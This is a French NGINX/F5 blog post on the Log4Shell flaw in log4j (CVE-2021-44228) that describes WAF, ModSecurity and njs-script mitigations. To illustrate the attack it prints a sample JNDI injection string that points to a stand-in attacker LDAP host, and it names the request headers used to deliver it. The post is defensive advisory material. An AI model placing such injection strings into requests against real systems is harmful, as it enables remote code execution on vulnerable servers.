Le vendredi 10 décembre 2021 est une date dont se souviendront de nombreux professionnels de l’informatique à travers le monde. C’est ce jour-là qu’une vulnérabilité critique de type « zero-day » a été découverte dans la très populaire bibliothèque de journalisation pour applications Java, log4j. L’exploit a rapidement été baptisé « Log4Shell », et les entreprises de toutes tailles se sont empressées de mettre en œuvre des stratégies d’atténuation. S’en est suivi un marathon de déploiement de correctifs qui, à l’heure où nous écrivons ces lignes, est toujours en cours.
NGINX et F5 ont analysé la menace et, dans cet article, nous vous proposons différentes options d’atténuation afin de protéger vos applications.
Qu’est-ce que Log4Shell ?
La version 2.15 et les versions antérieures de la bibliothèque log4j sont vulnérables à la faille d’exécution de code à distance (RCE) décrite dans la CVE-2021-44228. (La version 2.16 de log4j corrige cette faille.) Log4Shell est le nom donné à l’exploitation de cette faille. Mais en quoi consiste-t-elle et pourquoi est-elle si critique ? Comme indiqué dans la CVE, la bibliothèque Java Apache log4j ne valide pas correctement les données saisies.
La fonctionnalité Java Naming and Directory Interface (JNDI) de la bibliothèque log4j et de l’environnement d’exécution Java permet d’effectuer des recherches à distance afin de récupérer des données provenant de sources externes – telles qu’un nom d’utilisateur depuis LDAP ou une adresse IP depuis DNS – pour les inclure dans une entrée de journal. Malheureusement, des attaquants distants peuvent détourner JNDI afin d’exécuter du code Java qu’ils ont écrit. Le schéma suivant illustre cette attaque.
Pour exploiter une cible vulnérable, les attaquants doivent amener le code de l’application à écrire une entrée de journal contenant une chaîne telle que ${jndi:ldap://evil.xa/x}. La question est de savoir où placer cette chaîne pour qu’elle se retrouve dans un message de journal. Pour de nombreuses applications, la journalisation est essentielle et de nombreuses informations différentes sont consignées pour chaque requête entrante, notamment les en-têtes HTTP tels que User-Agent et X-Forwarded-For, l’URI et le corps de la requête. Il existe de nombreux vecteurs d’attaque et, dès lors que la chaîne est consignée avec log4j, l’application peut être exploitée.
NGINX est-il affecté par cette vulnérabilité ?
Non. NGINX lui-même n’est pas vulnérable à cet exploit, car il est écrit en C et n’utilise ni Java ni aucune bibliothèque basée sur Java. Pour consulter la réponse officielle concernant la CVE-2021-44228 pour tous les produits F5 et NGINX, reportez-vous à l’article « K19026212 » de la base de connaissances AskF5.
Comment NGINX contribue-t-il à atténuer cette exploitation ?
Comme indiqué précédemment, un attaquant doit envoyer la chaîne d’exploitation à l’application cible quelque part dans la requête HTTP. NGINX fournit plusieurs outils permettant d’analyser les requêtes entrantes afin de détecter des indicateurs de compromission (IOC) et de les bloquer.
Le moyen le plus efficace de bloquer les requêtes malveillantes consiste à utiliser un pare-feu d’applications Web (WAF). Celui-ci analyse chaque requête entrante à la recherche d’indices liés à la vulnérabilité CVE-2021-44228, en comparant les données de la requête à un ensemble de règles précompilées. Toutefois, la mise à jour des règles du WAF après la découverte d’une vulnérabilité zero-day s’apparente à une course aux armements. Dès que des règles WAF sont disponibles pour un exploit donné, les attaquants recherchent des techniques et des modèles permettant de contourner le WAF. Veillez à maintenir vos règles WAF à jour.
WAF NGINX ModSecurity
ModSecurity est un WAF open source, également proposé par NGINX sous forme d’offre commerciale : le module NGINX ModSecurity WAF pour NGINX Plus. L’ensemble de règles de base OWASP ModSecurity (CRS) comprend une règle existante (932130) permettant de limiter les risques liés à Log4Shell. Pour en savoir plus sur cette solution et sur des protections plus avancées, consultez le blog du CRS.
[Note de la rédaction – La fin de commercialisation de NGINX ModSecurity WAF est officiellement intervenue le 1er avril 2022, et sa fin de vie prendra effet le 31 mars 2024. Pour plus de détails, consultez l’article F5 NGINX ModSecurity WAF Is Transitioning to End-of-Life<.htmla> sur notre blog.]
NGINX App Protect WAF
NGINX App Protect WAF est une solution moderne de sécurité des applications. À la suite de l’analyse continue de la menace et des contournements connus des WAF, nous avons mis à jour le jeu de signatures d’injection de code côté serveur avec de nouvelles règles permettant de détecter efficacement les attaques Log4Shell. Pour plus de détails, consultez la base de connaissances AskF5.
Module JavaScript NGINX
NGINX et NGINX Plus sont largement déployés comme proxy inverse devant de nombreuses applications Java. Pour les utilisateurs et les clients qui n’ont pas accès à un WAF, nous avons créé un script qui utilise le module JavaScript NGINX (njs). Le script analyse les en-têtes HTTP, les URI et le corps des requêtes entrantes, en s’appuyant sur des chaînes d’indicateurs de compromission (IOC) connues ainsi que sur des expressions régulières pour détecter les données saisies et bloquer les requêtes malveillantes.
Le script njs est disponible sur GitHub. Pour savoir comment installer le module njs, consultez le guide d’administration de NGINX Plus.
Résumé
La solution la plus efficace contre Log4Shell consiste à corriger le code de l’application en utilisant log4j version 2.16 ou une version ultérieure, ce qui désactive JDNI. Si cela n’est pas possible dans l’immédiat, un WAF peut atténuer efficacement la menace jusqu’à ce que vous puissiez appliquer le correctif. Si vous ne disposez pas encore d’un WAF, vous pouvez utiliser notre script njs pour mettre en place une protection spécifique contre cette menace. Consultez les ressources ci-dessous pour en savoir plus et choisir la protection la mieux adaptée à vos applications.
Ressources
- CVE-2021-44228 – La CVE officielle
- Une faille zero-day ciblant la célèbre bibliothèque Java Log4j – Une présentation détaillée de la vulnérabilité
- K19026212 : vulnérabilité d’exécution de code à distance dans Apache Log4j2 (CVE-2021-44228) – Réponse officielle de F5
- CRS et Log4j / Log4Shell / CVE-2021-44228 – Blog de ModSecurity Core Rule Set
- Inspection des requêtes avec NGINX njs pour la CVE-2021-44228 – Solution d’atténuation NGINX JavaScript
À propos de l’auteur
Articles de blog associés
Tendances actuelles des technologies cloud natives, de l’ingénierie de plateforme et de l’IA
Découvrez les principaux enseignements tirés des réponses à l’enquête annuelle F5 NGINX sur les dernières tendances en matière de technologies cloud natives, de sécurité, d’ingénierie de plateforme et d’IA.
Quels contrôleurs Ingress NGINX sont affectés par les vulnérabilités CVE-2022-4886, CVE-2023-5043 et CVE-2023-5044 ?
Lorsque de nouvelles CVE sont signalées, il est facile de ne plus savoir si elles concernent un outil de contrôleur Ingress NGINX particulier, car il existe plusieurs projets. Cet article présente les CVE et explique comment distinguer les différents projets de contrôleurs Ingress afin de dissiper toute confusion.
Votre API est-elle en temps réel ? Testez sa latence avec l’outil rtapi de NGINX
Votre API répond-elle aux requêtes en moins de 30 ms ? Si ce n’est pas le cas, il ne s’agit pas d’une API en temps réel offrant la faible latence exigée par la grande majorité des organisations. Mesurez la latence de votre API avec l’outil rtapi de NGINX et découvrez comment NGINX peut l’aider à offrir une réactivité en temps réel.
Un testeur d’expressions régulières pour NGINX et NGINX Plus
Le testeur d’expressions régulières (regex) pour NGINX et NGINX Plus vous évite de tâtonner en vous indiquant si une expression régulière utilisée dans un bloc location ou map correspond aux valeurs comme prévu. Il génère la configuration appropriée et affiche les valeurs des groupes de capture.
Caches partagés avec les clusters de cache NGINX Plus, partie 1
Optimisez la capacité de votre cache web en le répartissant entre plusieurs serveurs de cache web NGINX ou NGINX Plus. Découvrez comment procéder dans cet article.
Introduction aux microservices
Les microservices suscitent actuellement beaucoup d’intérêt. Cet article de blog est le premier d’une série de sept consacrée à la conception, au développement et au déploiement de microservices.